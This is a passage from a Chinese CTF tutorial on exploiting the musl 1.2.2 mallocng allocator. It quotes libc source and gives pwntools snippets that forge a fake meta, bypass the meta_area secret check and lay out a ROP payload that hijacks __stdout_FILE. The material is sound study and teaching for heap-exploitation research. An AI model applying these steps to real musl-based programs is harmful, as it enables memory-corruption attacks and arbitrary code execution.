    //通过适当计算进行设置,0x7e+1 == (2<<1)-1 == 127
    //ok_to_free就是做一些检查,满足freeable==1,sizeclass<48,maplen==1
    //然后通过g->next!=g来返回1
    /*
    //v1.2.2 /src/malloc/mallocng/free.c
    static int okay_to_free(struct meta *g)
    {
    int sc = g->sizeclass;
    if (!g->freeable) return 0;
    if (sc >= 48 || get_stride(g) < UNIT*size_classes[sc])
    return 1;
    if (!g->maplen) return 1;
    if (g->next != g) return 1;
    if (!is_bouncing(sc)) return 1;
    size_t cnt = g->last_idx+1;
    size_t usage = ctx.usage_by_class[sc];
    if (9*cnt <= usage && cnt < 20)
    return 1;
    return 0;
    }
    */
    if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) {
    if (g->next) {
    assert(sc < 48);
    //......
    dequeue(&ctx.active[sc], g);
    //.....
    }
    //....
    return free_group(g);
    }
    else if (!mask) {
    //.....
    }
    //....
    }

    🔺注:这个last_idx随便改的话可能会在__libc_free中出现错误,就是一个依据last_idx判断chunk上某个位置是否为0,这个也比较好改

总体来说进入dequeue就算成功,实现任意地址任意写,将__stdout_used的值劫持为fake_IO_addr。之后就大多通过调用链exit()->__stdio_exit()->close_file()->(f->write(f,0,0)),跳转到gadget完成栈劫持利用的。

b.queue

调用链为

1
_libc_free->nontrivial_free->queue

看一下nontrivial_free源代码就能理解,就是通过条件满足

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//v1.2.2 /src/malloc/mallocng/free.c
static struct mapinfo nontrivial_free(struct meta *g, int i)
{
uint32_t self = 1u<<i;
int sc = g->sizeclass;
uint32_t mask = g->freed_mask | g->avail_mask;

//通过适当计算进行设置,0x7e+1 == (2<<1)-1 == 127
//ok_to_free就是做一些检查,满足freeable==1,sizeclass<48,maplen==1
//然后通过g->next!=g来返回1
/*
//v1.2.2 /src/malloc/mallocng/free.c
static int okay_to_free(struct meta *g)
{
int sc = g->sizeclass;
if (!g->freeable) return 0;
if (sc >= 48 || get_stride(g) < UNIT*size_classes[sc])
return 1;
if (!g->maplen) return 1;
if (g->next != g) return 1;
if (!is_bouncing(sc)) return 1;
size_t cnt = g->last_idx+1;
size_t usage = ctx.usage_by_class[sc];
if (9*cnt <= usage && cnt < 20)
return 1;
return 0;
}
*/
if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) {
//...
}
else if (!mask) {
if (ctx.active[sc] != g) {
queue(&ctx.active[sc], g);
}
}
//....
}

依照相关逻辑,伪造meta如下

1
2
3
4
5
6
7
last_idx, freeable, sc, maplen = 1, 0, 8, 0 #freeable置0是为了拒绝ok to free校验,防止释放meta
fake_meta = p64(0) # prev
fake_meta += p64(0) # next
fake_meta += p64(base) # mem
fake_meta += p32(0) + p32(0) # avail_mask, freed_mask
fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
fake_meta += p64(0)

这里相关参数设置的是和dequeue差不多,不太一样的主要是freeableprevnextavail_maskfreed_maskmaplen等的设置,同样也是为了通过get_meta以及相关的检测

这样在queue之后就能在对应的active[sc]中得到一个fake_meta,随后通过任意写faka_meta->mem即可进行任意申请。

如果使用calloc进行申请,则还需要在base->meta位置通过dequeue写入fake_meta_addr才行。

1
2
3
4
5
6
7
8
9
10
11
//v1.2.2 /src/malloc/calloc.c
void *calloc(size_t m, size_t n)
{
//...
n *= m;
void *p = malloc(n);
if (!p || (!__malloc_replaced && __malloc_allzerop(p)))
return p;
n = mal0_clear(p, n);
return memset(p, 0, n);
}

因为在进入calloc之后,如果申请出chunk则会进入检测__malloc_allzerop这个函数,而在musl中即为get_meta,会对meta进行检测

image-20230822205832570

通过malloc进行申请的则不用在base->meta位置通过dequeue写入fake_meta_addr,可以直接申请出来。

随后就可以通过修改__stdout_FILE结构体,在没有exit的情况下,就可以通过puts->fputs_unlocked->fwrite_unlocked->__fwritex->(f->write)调用链来调用到虚假的f->write函数指针,随后通过gadget劫持栈完成利用,和之前的dequeue类似。

1
2
3
4
5
6
7
8
9
10
//v1.2.2 /src/stdio/fwrite.c

size_t __fwritex(const unsigned char *restrict s, size_t l, FILE *restrict f)
{
size_t i=0;
//....
if (l > f->wend - f->wpos) return f->write(f, s, l);
//...
return l+i;
}

注:当然,也可以通过dequeue直接修改某个active[sc]mem来申请到__stdout_FILE进行修改,但是这个需要写了ELF基地址得到meta地址,还需要malloc进行申请才行。

另外当用malloc申请chunk时,如果可以泄露heap基地址,那么就可以通过任意修改active[sz]->mem进行任意申请,但是申请到的位置在不同的active[sc]中不太一样,具体的进行分析。calloc存在get_meta相关的校验。

③触发伪造meta

那么如何通过释放触发伪造的meta呢。这个在get_meta中有

1
2
3
4
5
6
7
8
9
int offset = *(const uint16_t *)(p - 2);
int index = get_slot_index(p);
if (p[-4]) {
assert(!offset);
offset = *(uint32_t *)(p - 8);
assert(offset > 0xffff);
}
const struct group *base = (const void *)(p - UNIT*offset - UNIT);
const struct meta *meta = base->meta;

即依据chunk元数据里面的idx/offset来得到base,从而得到meta,那么通常的漏洞利用就是通过溢出写chunk的元数据,使之成为第0chunk,从而获取到伪造的meta。如下即通过溢出chunk使之索引为0,在chunk_addr-0x10部分伪造meta,之后释放该chunk,发现索引为0,即可从chunk_addr-0x10的地方找到伪造的meta地址。

image-20230817192343088

④绕过检测

在实际利用时,还需要绕过get_meta中对于meta_area的检测

1
2
const struct meta_area *area = (void *)((uintptr_t)meta & -4096);
assert(area->check == ctx.secret);

即通过meta所在页得到meta_area,然后检测ctx.secret是否为meta_area->check。那么在利用时其实不一定能满足申请到的chunk0x---000的位置,那么通常就申请0x2000chunk来得到libc上的chunk,并且通过适当调整使得fake_meta所在页的首地址数据为secret。那么通常的payload配置如下

1
2
3
4
5
6
7
payload = ""
payload += rop
payload = payload.ljust(0xfe0,"\x00")
payload += p64(secret) + p64(0)
payload += fake_meta
payload += binsh
payload += fake_IO

image-20230822221035821

参考:

[原创]小小做题家之——musl 1.2.2的利用手法-Pwn-看雪-安全社区|安全招聘|kanxue.com

[原创]musl 1.2.2 总结+源码分析 One-Pwn-看雪-安全社区|安全招聘|kanxue.com

新版musl-libc malloc源码分析与调试-安全客 - 安全资讯平台 (anquanke.com)

从一次 CTF 出题谈 musl libc 堆漏洞利用-安全客 - 安全资讯平台 (anquanke.com)

借助DefCon Quals 2021的mooosl学习musl mallocng(源码审计篇)-安全客 - 安全资讯平台 (anquanke.com)

从2021 WMCTF Nescafe学习musl libc UAF 利用-安全客 - 安全资讯平台 (anquanke.com)

借助DefCon Quals 2021的mooosl学习musl mallocng(漏洞利用篇)-安全客 - 安全资讯平台 (anquanke.com)

musl-1.2.x堆部分源码分析-安全客 - 安全资讯平台 (anquanke.com)

从musl libc 1.1.24到1.2.2 学习pwn姿势-安全客 - 安全资讯平台 (anquanke.com)

musl 1.2.2 总结+源码分析 One - 先知社区 (aliyun.com)